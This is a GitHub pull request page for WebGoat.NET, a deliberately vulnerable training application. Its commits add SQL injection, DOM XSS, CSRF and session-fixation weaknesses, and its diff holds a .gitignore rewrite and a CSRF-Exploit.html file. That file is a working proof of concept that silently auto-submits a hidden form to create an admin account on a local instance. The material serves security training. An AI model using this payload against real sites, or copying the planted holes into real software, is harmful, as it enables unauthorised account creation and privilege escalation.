Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Add new weaknesses #9

Open
wants to merge 39 commits into
base: master
Choose a base branch
from
Open
Show file tree
Hide file tree
Changes from all commits
Commits
Show all changes
39 commits
Select commit Hold shift + click to select a range
faf1028
Converted to VS2013
yuske May 12, 2014
99f8c4d
Changed the target framework to v4.5
yuske May 12, 2014
73ed691
Fixed NullReferenceException in MySqlDbProvider
yuske May 19, 2014
8e3cdae
Changed requestValidationMode for XSS
yuske May 20, 2014
0a45788
Update gitignore
yuske Apr 14, 2015
edd8714
Merge branch 'VS2013'
yuske Apr 14, 2015
379b99c
Added Entity Framework
yuske Apr 14, 2015
b21daca
Added entities from database
yuske Apr 14, 2015
08fc79e
Added simple SQLi by EF
yuske Apr 17, 2015
0519b40
Merge branch 'ORMi'
yuske Apr 17, 2015
9a02c35
Added jQuery 1.10.2
yuske Apr 17, 2015
65a619c
Added a copy MasterPage with updated jQuery
yuske Apr 17, 2015
d2ab075
Added jquery-migrate-1.2.1.js
yuske Apr 17, 2015
607a4cb
Added demo DOM XSS from jquery-migrate
yuske Apr 17, 2015
61cb72a
Added tabs with DOM XSS
yuske Apr 17, 2015
1c8a1c7
Merge branch 'DOM-XSS'
yuske Apr 17, 2015
6db54f2
Changed EF SQLi example
yuske Apr 18, 2015
3e8d87b
Added DropDownList in EFSQLInjection
yuske Apr 18, 2015
4085f3a
Changed EF SQLi example again
yuske Apr 18, 2015
fc295cb
Fixed checking user and password in Sqlite DB
yuske Apr 20, 2015
5dd689a
Added the page to add new customer in Sqlite DB
yuske Apr 21, 2015
07c278c
Added updated Sqlite DB
yuske Apr 21, 2015
4f2bc9a
Disabled event validation for AddNewCustomer page
yuske Apr 21, 2015
9f58dd4
Moved check admin role in CreateCustomer method
yuske Apr 21, 2015
591a428
Added a display customer role on Master Page
yuske Apr 21, 2015
090b564
Reverted disabling EnableEventValidation
yuske Apr 23, 2015
4a43578
Added CSRF Exploit
yuske Apr 23, 2015
412805c
Changed config to connect DB
yuske Apr 23, 2015
2743525
Fixed name of IsAdmin field
yuske Apr 23, 2015
f309d3f
Added user to DB
yuske Apr 23, 2015
0695dac
Merge branch 'CSRF'
yuske Apr 23, 2015
e211642
Added using local IIS
yuske May 17, 2015
86541fb
Added set session cookie script
yuske May 17, 2015
74c9e8c
Added the customer messages page
yuske May 18, 2015
531450c
Added redirect to script
yuske May 18, 2015
034cab8
Merge branch 'session-fixation'
yuske May 20, 2015
9110019
Added wizard to buy a coin
yuske May 21, 2015
5e7e055
Added the Invoice page
yuske May 21, 2015
3f7b280
Merge branch 'wizard-error'
yuske May 21, 2015
File filter

Filter by extension

Filter by extension


Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
213 changes: 199 additions & 14 deletions .gitignore
Original file line number Diff line number Diff line change
@@ -1,14 +1,199 @@
# Project Files #
#################
*.userprefs
*.pidb
*swp
bin
obj
WebGoat/App_Data/*.txt
*.sqlite*
WebGoat/Configuration/*.config

# Trash Files #
###############
.DS_Store
## Ignore Visual Studio temporary files, build results, and
## files generated by popular Visual Studio add-ons.

# User-specific files
*.suo
*.user
*.sln.docstates

# Build results
[Dd]ebug/
[Dd]ebugPublic/
[Rr]elease/
x64/
#build/
bld/
[Bb]in/
[Oo]bj/

# MSTest test Results
[Tt]est[Rr]esult*/
[Bb]uild[Ll]og.*

#NUNIT
*.VisualState.xml
TestResult.xml

# Build Results of an ATL Project
[Dd]ebugPS/
[Rr]eleasePS/
dlldata.c

*_i.c
*_p.c
*_i.h
*.ilk
*.meta
*.obj
*.pch
*.pdb
*.pgc
*.pgd
*.rsp
*.sbr
*.tlb
*.tli
*.tlh
*.tmp
*.tmp_proj
*.log
*.vspscc
*.vssscc
.builds
*.pidb
*.svclog
*.scc

# Chutzpah Test files
_Chutzpah*

# Visual C++ cache files
ipch/
*.aps
*.ncb
*.opensdf
*.sdf
*.cachefile

# Visual Studio profiler
*.psess
*.vsp
*.vspx

# TFS 2012 Local Workspace
$tf/

# Guidance Automation Toolkit
*.gpState

# ReSharper is a .NET coding add-in
_ReSharper*/
**/*.[Rr]e[Ss]harper
**/*.DotSettings.user
**/*.DotSettings

# JustCode is a .NET coding addin-in
.JustCode

# TeamCity is a build add-in
_TeamCity*

# DotCover is a Code Coverage Tool
*.dotCover

# NCrunch
*.ncrunch*
_NCrunch_*
.*crunch*.local.xml

# MightyMoose
*.mm.*
AutoTest.Net/

# Web workbench (sass)
.sass-cache/

# Installshield output folder
[Ee]xpress/

# DocProject is a documentation generator add-in
DocProject/buildhelp/
DocProject/Help/*.HxT
DocProject/Help/*.HxC
DocProject/Help/*.hhc
DocProject/Help/*.hhk
DocProject/Help/*.hhp
DocProject/Help/Html2
DocProject/Help/html

# Click-Once directory
publish/

# Publish Web Output
*.[Pp]ublish.xml
*.azurePubxml

# NuGet Packages Directory
packages/
## TODO: If the tool you use requires repositories.config uncomment the next line
#!packages/repositories.config

# Enable "build/" folder in the NuGet Packages folder since NuGet packages use it for MSBuild targets
# This line needs to be after the ignore of the build folder (and the packages folder if the line above has been uncommented)
!packages/build/

# Windows Azure Build Output
csx/
*.build.csdef

# Windows Store app package directory
AppPackages/

# Others
sql/
*.Cache
ClientBin/
[Ss]tyle[Cc]op.*
~$*
*~
*.dbmdl
*.dbproj.schemaview
*.pfx
*.publishsettings
node_modules/

# RIA/Silverlight projects
Generated_Code/

# Backup & report files from converting an old project file to a newer
# Visual Studio version. Backup files are not needed, because we have git ;-)
_UpgradeReport_Files/
Backup*/
UpgradeLog*.XML
UpgradeLog*.htm

# SQL Server files
*.mdf
*.ldf

# Business Intelligence projects
*.rdl.data
*.bim.layout
*.bim_*.settings

# Microsoft Fakes
FakesAssemblies/

# =========================
# Windows detritus
# =========================

# Windows image file caches
Thumbs.db
ehthumbs.db

# Folder config file
Desktop.ini

# Recycle Bin used on file shares
$RECYCLE.BIN/

# Project Files #
#################
WebGoat/App_Data/*.txt
*.sqlite*
WebGoat/Configuration/*.config

# Trash Files #
###############
.DS_Store
41 changes: 41 additions & 0 deletions CSRF-Exploit.html
Original file line number Diff line number Diff line change
@@ -0,0 +1,41 @@
<head>
</head>
<body>
<script type="text/javascript">
function sendRequest(method, path, params) {
var form = document.createElement("form");
form.setAttribute("method", method);
form.setAttribute("action", path);
form.setAttribute("target", "hidden-form");
form.__submit = form.submit;

for (var key in params)
{
var field = document.createElement("input");
field.setAttribute("type", "hidden");
field.setAttribute("name", key);
field.setAttribute("value", params[key]);

form.appendChild(field);
}

document.body.appendChild(form);

var frame = document.createElement("iframe");
frame.setAttribute("style", "display:none");
frame.setAttribute("name", "hidden-form");
document.body.appendChild(frame);

form.__submit();
}

sendRequest('POST', 'http://localhost:3282/WebGoatCoins/AddNewCustomer.aspx',
{'__VIEWSTATE':'',
'__EVENTVALIDATION':'',
'ctl00$BodyContentPlaceholder$Username':'test',
'ctl00$BodyContentPlaceholder$Email':'[email protected]',
'ctl00$BodyContentPlaceholder$Password':'test',
'ctl00$BodyContentPlaceholder$IsAdmin':'on',
'ctl00$BodyContentPlaceholder$CreateCustomerButton':''});
</script>
</body>
Loading